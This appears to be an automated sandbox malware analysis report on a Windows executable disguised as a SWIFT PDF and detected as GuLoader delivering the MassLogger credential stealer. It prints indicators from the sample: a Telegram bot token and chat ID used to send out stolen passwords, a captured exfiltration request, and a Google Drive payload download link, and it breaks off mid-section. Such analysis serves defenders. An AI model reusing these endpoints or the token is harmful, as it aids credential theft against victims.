Edit tour

Windows Analysis Report
SWIFT09181-24_pdf.exe

Overview

General Information

Sample name:	SWIFT09181-24_pdf.exe
Analysis ID:	1575477
MD5:	e47d302ad20a15e7c4816b5e7b236699
SHA1:	784795652df30bc7919b8fd74df3056df586c4e8
SHA256:	7683dbf87b229a5c18546c930ccf2625f3cf8443a8deddd5c18446fd953e3cd4
Tags:	exeGuLoaderuser-threatcat_ch
Infos:

Detection

GuLoader, MassLogger RAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected MassLogger RAT

Yara detected Telegram RAT

AI detected suspicious sample

Disable Task Manager(disabletaskmgr)

Disables CMD prompt

Disables the Windows task manager (taskmgr)

Initial sample is a PE file and has a suspicious name

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SWIFT09181-24_pdf.exe (PID: 3372 cmdline: "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe" MD5: E47D302AD20A15E7C4816B5E7B236699)

SWIFT09181-24_pdf.exe (PID: 6020 cmdline: "C:\Users\user\Desktop\SWIFT09181-24_pdf.exe" MD5: E47D302AD20A15E7C4816B5E7B236699)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Threatname: MassLogger

{"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000000.00000002.2618839198.0000000003647000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020	JoeSecurity_MassLogger	Yara detected MassLogger RAT	Joe Security
Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: SWIFT09181-24_pdf.exe PID: 6020	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 2 entries

Suricata Signatures

ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T18:30:06.300477+0100	2057744	1	Malware Command and Control Activity Detected	192.168.2.4	49885	149.154.167.220	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T18:29:53.504085+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49858	193.122.130.0	80	TCP
2024-12-15T18:30:01.941772+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49858	193.122.130.0	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-15T18:29:45.858880+0100	2803270	2	Potentially Bad Traffic	192.168.2.4	49837	216.58.208.238	443	TCP

HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd1d0431f11147Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037995000.00000004.00000800.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.000000000745A000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.000000000745A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/0c
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.000000000745A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/Xa
Source: SWIFT09181-24_pdf.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037931000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.0000000037A5A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073BB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/I
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073D1000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2930306779.0000000008E00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=138pqZxsrel6pv22ZzsGxQKK8bi-dritC
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073FE000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2809422403.0000000007404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073FE000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2809422403.0000000007404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/:
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073ED000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073FE000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2809422403.0000000007404000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=138pqZxsrel6pv22ZzsGxQKK8bi-dritC&export=download
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2951065563.00000000379B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: SWIFT09181-24_pdf.exe, 00000005.00000003.2755911965.0000000007407000.00000004.00000020.00020000.00000000.sdmp, SWIFT09181-24_pdf.exe, 00000005.00000003.2756028021.0000000007407000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443

Source: unknown	HTTPS traffic detected: 216.58.208.238:443 -> 192.168.2.4:49837 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.217.17.65:443 -> 192.168.2.4:49846 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49885 version: TLS 1.2

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Code function: 0_2_004052F3 GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_004052F3

System Summary

Initial sample is a PE file and has a suspicious name

Source: initial sample

Static PE information: Filename: SWIFT09181-24_pdf.exe

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004032A0

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_00404B30	0_2_00404B30
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_00407041	0_2_00407041
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_0040686A	0_2_0040686A
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00407041	5_2_00407041
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_0040686A	5_2_0040686A
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00404B30	5_2_00404B30
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00154328	5_2_00154328
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00158DA0	5_2_00158DA0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00155968	5_2_00155968
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00155F90	5_2_00155F90
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_00152DD1	5_2_00152DD1
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791C638	5_2_3791C638
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791CCA0	5_2_3791CCA0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_379103AF	5_2_379103AF
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791331A	5_2_3791331A
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_37915806	5_2_37915806
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_37917848	5_2_37917848
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791E790	5_2_3791E790
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_37916E91	5_2_37916E91
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_37916EA0	5_2_37916EA0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791DEE1	5_2_3791DEE1
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791BD9C	5_2_3791BD9C
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791CCA2	5_2_3791CCA2
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791B4EC	5_2_3791B4EC
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791EBF2	5_2_3791EBF2
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791E340	5_2_3791E340
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791DA89	5_2_3791DA89
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791C1F2	5_2_3791C1F2
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791B944	5_2_3791B944
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791F054	5_2_3791F054
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3791B07F	5_2_3791B07F
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A658650	5_2_3A658650
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6596C8	5_2_3A6596C8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65BA97	5_2_3A65BA97
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65A360	5_2_3A65A360
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A659D10	5_2_3A659D10
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65BDF0	5_2_3A65BDF0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65A9B0	5_2_3A65A9B0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6529B8	5_2_3A6529B8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A657061	5_2_3A657061
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A655660	5_2_3A655660
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A653268	5_2_3A653268
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A657070	5_2_3A657070
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A650040	5_2_3A650040
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A658640	5_2_3A658640
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65184C	5_2_3A65184C
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A655650	5_2_3A655650
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A653258	5_2_3A653258
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A651858	5_2_3A651858
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A654820	5_2_3A654820
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A652E00	5_2_3A652E00
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A651400	5_2_3A651400
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A656C09	5_2_3A656C09
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A655208	5_2_3A655208
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A652E10	5_2_3A652E10
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A654810	5_2_3A654810
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A656C18	5_2_3A656C18
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6520F8	5_2_3A6520F8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6536C0	5_2_3A6536C0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6536C2	5_2_3A6536C2
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6574C8	5_2_3A6574C8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A651CA0	5_2_3A651CA0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A655AA8	5_2_3A655AA8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A651CB0	5_2_3A651CB0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A650EB9	5_2_3A650EB9
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A655AB8	5_2_3A655AB8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6574B8	5_2_3A6574B8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6596B8	5_2_3A6596B8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A652560	5_2_3A652560
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A656368	5_2_3A656368
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A653F70	5_2_3A653F70
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A653F72	5_2_3A653F72
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A657B4F	5_2_3A657B4F
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65A352	5_2_3A65A352
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65255C	5_2_3A65255C
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A656358	5_2_3A656358
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A655F01	5_2_3A655F01
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A659D00	5_2_3A659D00
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A652108	5_2_3A652108
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A653B08	5_2_3A653B08
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A655F10	5_2_3A655F10
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A653B18	5_2_3A653B18
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65AFF7	5_2_3A65AFF7
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6551FF	5_2_3A6551FF
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65AFF8	5_2_3A65AFF8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6567C0	5_2_3A6567C0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6543C8	5_2_3A6543C8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A65A9A0	5_2_3A65A9A0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A650FA8	5_2_3A650FA8
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A654DB0	5_2_3A654DB0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A6567B0	5_2_3A6567B0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_3A654DB2	5_2_3A654DB2

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Code function: String function: 00402BBF appears 51 times

Source: SWIFT09181-24_pdf.exe, 00000005.00000002.2929742720.00000000073D1000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameclr.dllT vs SWIFT09181-24_pdf.exe

Source: SWIFT09181-24_pdf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@3/8@5/5

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 0_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_004032A0
Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe	Code function: 5_2_004032A0 EntryPoint,SetErrorMode,GetVersion,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		5_2_004032A0

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

Code function: 0_2_004045B4 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

0_2_004045B4

Source: C:\Users\user\Desktop\SWIFT09181-24_pdf.exe

